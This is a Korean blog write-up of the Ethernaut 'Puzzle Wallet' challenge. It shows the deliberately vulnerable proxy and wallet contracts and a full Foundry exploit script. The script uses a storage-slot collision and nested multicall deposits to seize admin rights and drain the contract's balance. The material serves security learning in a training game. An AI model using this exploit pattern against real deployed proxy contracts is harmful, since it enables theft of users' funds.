Web3/Ethernaut

[Ethernaut] Puzzle Wallet 풀이

kaymin 2025. 1. 18. 16:05

이더넛 문제 중 제일 인상에 남는 문제고 어렵게 푼 문제이다.

그만큼 재밌게 푼 것 같다.

 

Instance
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;

import "../helpers/UpgradeableProxy-08.sol";

contract PuzzleProxy is UpgradeableProxy {
    address public pendingAdmin;
    address public admin;

    constructor(address _admin, address _implementation, bytes memory _initData)
        UpgradeableProxy(_implementation, _initData)
    {
        admin = _admin;
    }

    modifier onlyAdmin() {
        require(msg.sender == admin, "Caller is not the admin");
        _;
    }

    function proposeNewAdmin(address _newAdmin) external {
        pendingAdmin = _newAdmin;
    }

    function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
        require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
        admin = pendingAdmin;
    }

    function upgradeTo(address _newImplementation) external onlyAdmin {
        _upgradeTo(_newImplementation);
    }
}

contract PuzzleWallet {
    address public owner;
    uint256 public maxBalance;
    mapping(address => bool) public whitelisted;
    mapping(address => uint256) public balances;

    function init(uint256 _maxBalance) public {
        require(maxBalance == 0, "Already initialized");
        maxBalance = _maxBalance;
        owner = msg.sender;
    }

    modifier onlyWhitelisted() {
        require(whitelisted[msg.sender], "Not whitelisted");
        _;
    }

    function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
        require(address(this).balance == 0, "Contract balance is not 0");
        maxBalance = _maxBalance;
    }

    function addToWhitelist(address addr) external {
        require(msg.sender == owner, "Not the owner");
        whitelisted[addr] = true;
    }

    function deposit() external payable onlyWhitelisted {
        require(address(this).balance <= maxBalance, "Max balance reached");
        balances[msg.sender] += msg.value;
    }

    function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
        require(balances[msg.sender] >= value, "Insufficient balance");
        balances[msg.sender] -= value;
        (bool success,) = to.call{value: value}(data);
        require(success, "Execution failed");
    }

    function multicall(bytes[] calldata data) external payable onlyWhitelisted {
        bool depositCalled = false;
        for (uint256 i = 0; i < data.length; i++) {
            bytes memory _data = data[i];
            bytes4 selector;
            assembly {
                selector := mload(add(_data, 32))
            }
            if (selector == this.deposit.selector) {
                require(!depositCalled, "Deposit can only be called once");
                // Protect against reusing msg.value
                depositCalled = true;
            }
            (bool success,) = address(this).delegatecall(data[i]);
            require(success, "Error while delegating call");
        }
    }
}

 

 

 

 

Exploit

프록시 구조를 통해 owner 권한을 탈취하고, 이로 화이트리스트를 조작한 후 취약한 multicall 함수를 호출해서 푸는 문제이다.

프록시 구조를 보면 스토리지가 겹치기에 취약하다.

그리고 multicall 함수를 보면, deposit을 call 하는 내내 한번만 호출할 수 있게 하지만, multicall안에 있는 콜데이터 하나에도 multicall을 호출해서 그 안에서 재차 deposit을 호출하는건 패치 못했나보다.

이를 이용해서 풀었다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script, console} from "../lib/forge-std/src/Script.sol";
import "../lib/forge-std/src/console.sol";
//import {Script, console} from "forge-std/Script.sol";
interface IPuzzleProxy{
    function admin() external returns (address);
    function proposeNewAdmin(address) external;
    function addToWhitelist(address) external;
    function deposit() external payable;
    function execute(address, uint256, bytes calldata) external payable;
    function multicall(bytes[] calldata) external payable;
    function setMaxBalance(uint256) external;
}
contract ex_puzzle_s is Script {
    bytes[] f_data;
    bytes[] one_data;
    function run() external {
        vm.startBroadcast(vm.envUint("pv_key"));
        address proxy_addr=vm.envAddress("inst_addr");
        address user=vm.envAddress("user_addr");
        //(bool success, bytes memory err) = proxy.call(abi.encodeWithSignature("proposeNewAdmin(address)", user));
        IPuzzleProxy proxy=IPuzzleProxy(proxy_addr);
        // 1. owner 권한 탈취
        proxy.proposeNewAdmin(user);
        console.log("1: ");

        // 2. 나를 화이트리스트에 추가
        //(success, err) = proxy.call(abi.encodeWithSignature("addToWhitelist(address)", user));
        proxy.addToWhitelist(user);
        console.log("2: ");

        // 3. 멀티콜 준비 후 실행
        one_data.push(abi.encodeWithSignature("deposit()"));

        f_data.push(abi.encodeWithSignature("deposit()"));
        f_data.push(abi.encodeWithSignature("multicall(bytes[])", one_data));

        console.log("my balance: ", user.balance);
        //(success, err) = proxy.call{value: 1000000000000000}(abi.encodeWithSignature("multicall(bytes[])", f_data));
        proxy.multicall{value: 1000000000000000}(f_data);
        console.log("3: ");

        // 4. execute로 돈 뺴버리기
        //(success, err) = proxy.call(abi.encodeWithSignature("execute(address, uint256, bytes)", user, 2000000000000000, ""));
        proxy.execute(user, 2000000000000000, "");
        console.log("4: ");

        // 5: setMaxBalance 호출
        //(success, err)=proxy.call(abi.encodeWithSignature("setMaxBalance(uint256)", vm.envUint("user_addr")));
        proxy.setMaxBalance(vm.envUint("user_addr"));
        console.log("5: ");
        //(success, err)=proxy.call(abi.encodeWithSignature("admin()"));
        
        // 6: admin 확인
        address adm=proxy.admin();
        console.log(adm == user);
        vm.stopBroadcast();
    }

    receive() external payable {}
}